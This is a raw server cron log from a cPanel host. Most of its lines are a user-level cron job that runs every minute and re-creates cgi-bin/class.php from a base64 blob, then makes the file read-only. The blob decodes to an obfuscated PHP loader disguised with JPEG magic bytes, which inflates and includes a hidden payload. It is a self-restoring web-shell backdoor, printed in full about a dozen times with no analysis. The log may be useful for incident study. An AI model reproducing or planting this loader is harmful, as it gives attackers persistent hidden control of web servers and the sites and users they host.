Aug 31 07:26:01 server CROND[23707]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:26:01 server CROND[23706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:26:01 server CROND[23708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:27:01 server CROND[24091]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:27:01 server CROND[24092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:27:01 server CROND[24094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:27:01 server CROND[24093]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 07:28:01 server CROND[24476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:28:01 server CROND[24477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:28:01 server CROND[24478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:29:01 server CROND[24952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:29:01 server CROND[24953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:29:01 server CROND[24954]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:30:01 server CROND[25345]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 07:30:01 server CROND[25347]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 07:30:01 server CROND[25350]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 07:30:01 server CROND[25353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:30:01 server CROND[25354]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 07:30:01 server CROND[25352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:30:01 server CROND[25351]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 07:30:01 server CROND[25355]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:31:01 server CROND[26194]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:31:01 server CROND[26195]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:31:01 server CROND[26196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:32:01 server CROND[26570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:32:01 server CROND[26571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:32:01 server CROND[26572]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:33:01 server CROND[26959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:33:01 server CROND[26960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:33:01 server CROND[26961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:34:01 server CROND[27438]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:34:01 server CROND[27439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:34:01 server CROND[27440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:35:01 server CROND[27841]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 07:35:01 server CROND[27843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:35:01 server CROND[27849]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 07:35:01 server CROND[27856]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 07:35:01 server CROND[27857]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 07:35:01 server CROND[27855]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 07:35:01 server CROND[27858]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:35:01 server CROND[27859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:35:01 server CROND[27860]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 07:36:01 server CROND[28696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:36:01 server CROND[28697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:36:01 server CROND[28698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:37:01 server CROND[29092]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 07:37:01 server CROND[29093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:37:01 server CROND[29094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:38:01 server CROND[29485]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
